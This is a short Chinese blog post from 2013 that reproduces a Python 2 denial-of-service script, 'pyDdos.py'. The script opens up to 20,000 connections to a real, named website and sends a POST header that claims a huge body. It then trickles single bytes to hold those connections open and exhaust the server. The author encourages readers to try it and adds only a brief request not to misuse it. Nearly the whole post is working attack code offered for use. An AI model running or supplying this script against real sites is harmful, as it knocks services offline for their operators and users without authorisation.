今天为了休息下,换换脑子,于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。
附上源码pyDdos.py:
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print "Send buf OK!,conn=%d\n"%i
socks.append(s)
except Exception,ex:
print "Could not connect to server or send error:%s"%ex
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f")
#print "send OK!"
except Exception,ex:
print "Send Exception:%s\n"%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。
原文地址(注:好像这个哥们儿也是从人家别的地方抄来的,但是他好像没有标注出处,所以我也不知道这个原文出自哪里,如有侵权,请及时联系我):python版本ddos脚本
2013年4月14日 Eric.Tang 记